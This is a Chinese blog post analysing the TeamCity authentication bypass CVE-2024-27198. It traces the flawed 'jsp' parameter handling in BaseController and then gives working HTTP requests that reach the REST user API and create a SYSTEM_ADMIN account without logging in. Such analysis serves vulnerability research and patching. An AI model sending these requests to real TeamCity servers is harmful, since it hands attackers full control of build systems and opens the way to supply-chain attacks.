CVE-2024-27198 JetBrains TeamCity 身份验证绕过漏洞分析

news/2024/11/15 0:47:23/
漏洞简介

JetBrains TeamCity 是一款由 JetBrains 公司开发的持续集成和持续交付服务器。它提供了强大的功能和工具,旨在帮助开发团队构建、测试和部署他们的软件项目

JetBrains TeamCity发布新版本修复了两个高危漏洞JetBrains TeamCity 身份验证绕过漏洞(CVE-2024-27198)与JetBrains TeamCity 路径遍历漏洞(CVE-2024-27199)。未经身份验证的远程攻击者利用CVE-2024-27198可以绕过系统身份验证,创建管理员账户,完全控制所有TeamCity项目、构建、代理和构件,为攻击者执行供应链攻击。远程攻击者利用该漏洞能够绕过身份认证在系统上执行任意代码。

Note: The JetBrains release blog for 2023.11.4 appears to display different publication dates based on the time zone of the reader. Some readers see that it was released March 3, while others see March 4. We've modified our language above to note that Rapid7 saw the release blog on March 4, regardless of what time it was released.

参考连接

CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED) | Rapid7 Blog

版本下载Other Versions - TeamCity

漏洞分析

漏洞类web-openapi.jar下的

jetbrains.buildServer.controllers.BaseController

public abstract class BaseController extends AbstractController {// ...snip...public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {try {ModelAndView modelAndView = this.doHandle(request, response);if (modelAndView != null) {if (modelAndView.getView() instanceof RedirectView) {modelAndView.getModel().clear();} else {this.updateViewIfRequestHasJspParameter(request, modelAndView);}}// ...snip...

在这个方法中当处理后返回的modelAndView视图类型不为RedirectView,则会调用updateViewIfRequestHasJspParameter

如:在访问一个需要认证的接口,服务器返回401,重定向用户路径login.html。

但是我们在访问一个不存在的路径,服务器返回404 非Redirect ,这样就可以绕过上面的限制执行到updateViewIfRequestHasJspParameter

跟入updateViewIfRequestHasJspParameter

private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {
​boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");String jspFromRequest = this.getJspFromRequest(request);if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {modelAndView.setViewName(jspFromRequest);}
}

白话文解释一下,modelAndView的不为空 请求的路径不以jsp结尾,isControllerRequestWithViewName将为真

这里我们猜测一下当用户请求一个不存在的资源,服务器统一返回404页面,这个内部的ServletPath 很有可能是404.html,不是jsp结尾 。因此isControllerRequestWithViewName可为真

继续分析getJspFromRequest

protected String getJspFromRequest(@NotNull HttpServletRequest request) {String jspFromRequest = request.getParameter("jsp");return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;
}

requests是我们可控的量,因此这里我们可以控制有jsp参数!,是以jsp结尾的! 不包含admin/。最终返回的数据jspFromRequest是jsp=xxx 这是我们可控的量。

jspFromRequest是我们控制的量 ,且我们可以正常进入if语句中,

因此可以调用modelAndView.setViewName(jspFromRequest);实现updateView的操作。

我们可以利用这个机制绕过接口验证,达到调用任意接口的目的

漏洞复现

如下给出payload

GET /xxx?jsp=/app/rest/users/;.jsp HTTP/1.1
Host: 127.0.0.1:8111
sec-ch-ua: "Chromium";v="119", "Not?A_Brand";v="24"
X-TeamCity-SW-Cache: graphql
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Content-Type: application/json
Accept: application/json
X-TeamCity-Client: Web UI
X-Requested-With: XMLHttpRequest
sec-ch-ua-platform: "Windows"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:8111/admin/admin.html?item=users
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

一共有三点
1,请求xxx 是绕过重定向
2,;.jsp绕过请求后缀是jsp的限制
3,jsp=xxxx 这里就可以填上我们想要访问的接口了

也可以进行一些敏感的操作,如添加用户账号

POST /xxx?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 127.0.0.1:8111
Accept: */*
Content-Type: application/json
Content-Length: 124
Connection: close

{"username": "test6666", "password": "test6666", "email": "", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


http://www.ppmy.cn/news/1375415.html

相关文章

C++:动态内存相关知识点整理:

动态内存&#xff1a; #include<stdlib.h> 前提引入&#xff1a; 局部变量储存在 栈空间&#xff0c;vs2022 内分配 &#xff08;1024*1024&#xff09;1m 大小&#xff0c;超过此大小程序崩溃char* s strtok(buff, " ");//当指针定义在外部函数时&#xf…

第十五届蓝桥杯第三期模拟赛(Java)

1. 【问题描述】 请问 2023 有多少个约数&#xff1f;即有多少个正整数&#xff0c;使得 2023 是这个正整数的整数倍。 【答案提交】 这是一道结果填空的题&#xff0c;你只需要算出结果后提交即可。本题的结果为一个整数&#xff0c;在提交答案时只填写这个整数&#xff0c;…

【C++】设计模式:建造者、原型、单例

&#x1f60f;★,:.☆(&#xffe3;▽&#xffe3;)/$:.★ &#x1f60f; 这篇文章主要介绍设计模式&#xff1a;建造者、原型、单例。 学其所用&#xff0c;用其所学。——梁启超 欢迎来到我的博客&#xff0c;一起学习&#xff0c;共同进步。 喜欢的朋友可以关注一下&#xf…

cocos creator 3.7.2使用shader实现图片扫光特效

简介 功能&#xff1a;图片实现扫光效果 引擎&#xff1a;cocos Creator 3.7.2 开发语言&#xff1a;ts 完整版链接 链接https://lengmo714.top/284d90f4.html 效果图 shader代码 // Copyright (c) 2017-2020 Xiamen Yaji Software Co., Ltd. CCEffect %{techniques:- pas…

Facebook商城号为什么被封?防封养号技巧

由于Facebook商城的高利润空间&#xff0c;越来越多的跨境电商商家注意到它的存在。Facebook作为全球最大、用户量最大的社媒平台&#xff0c;同时也孕育了一个巨大的商业生态&#xff0c;包括广告投放、商城交易等。依托背后的大流量&#xff0c;Facebook商城起号较快&#xf…

二叉树的层序遍历 (层次遍历 广度优先遍历)(14.7版)

function.h文件&#xff1a; // // Created by legion on 2024/3/5. //#ifndef INC_14_4_TREE_FUNCTION_H #define INC_14_4_TREE_FUNCTION_H #include <stdio.h> #include <stdlib.h>typedef char BiElemType; typedef struct BiTNode{BiElemType c;struct BiTNo…

代码随想录刷题笔记-Day31

1. 最大子序和 53. 最大子数组和https://leetcode.cn/problems/maximum-subarray/ 给你一个整数数组 nums &#xff0c;请你找出一个具有最大和的连续子数组&#xff08;子数组最少包含一个元素&#xff09;&#xff0c;返回其最大和。 子数组&#xff1a;是数组中的一个连续…

数据要素“摸家底”:是什么?为什么?怎么做?

继经济数据“摸家底”之后&#xff0c;全国数据资源也迎来一次“大摸底”。2月19日&#xff0c;国家数据局等四部门发布《关于开展全国数据资源调查的通知》&#xff0c;提出“摸清数据资源底数”&#xff0c;为相关政策制定、试点示范等工作提供数据支持。如此大规模数据资源调…